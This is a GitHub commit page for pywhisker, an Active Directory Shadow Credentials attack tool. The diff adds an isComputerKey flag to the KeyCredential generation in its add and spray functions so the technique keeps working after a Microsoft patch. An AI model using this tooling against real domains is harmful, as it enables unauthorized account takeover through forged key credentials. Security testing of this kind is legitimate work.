Skip to content

Commit d7a55f9

Browse files
authored
Merge pull request #38 from azoxlpf/fix/fix-shadowcreds
[bug] (post–Microsoft patch) Fix Shadow Credentials validated write requirements for computer accounts adding a certificate to themselves
2 parents dc35dba + 1b3430b commit d7a55f9

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

pywhisker/pywhisker.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -421,7 +421,7 @@ def add(self, password, path, export_type, domain, target_domain):
421421
certificate = X509Certificate2(subject=self.target_samname, keySize=2048, notBefore=(-40*365), notAfter=(40*365))
422422
self.logger.info("Certificate generated")
423423
self.logger.info("Generating KeyCredential")
424-
keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime())
424+
keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime(), isComputerKey=True)
425425
self.logger.info("KeyCredential generated with DeviceID: %s" % keyCredential.DeviceId.toFormatD())
426426
if self.logger.verbosity == 2:
427427
keyCredential.fromDNWithBinary(keyCredential.toDNWithBinary()).show()
@@ -502,7 +502,7 @@ def spray(self, password, path, export_type, domain, target_domain):
502502
else:
503503
self.target_dn = result[0]
504504
certificate = X509Certificate2(subject=samname, keySize=2048, notBefore=(-40*365), notAfter=(40*365))
505-
keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime())
505+
keyCredential = KeyCredential.fromX509Certificate2(certificate=certificate, deviceId=Guid(), owner=self.target_dn, currentTime=DateTime(), isComputerKey=True)
506506
self.ldap_session.search(self.target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-KeyCredentialLink'])
507507
results = None
508508
for entry in self.ldap_session.response:

0 commit comments

Comments
 (0)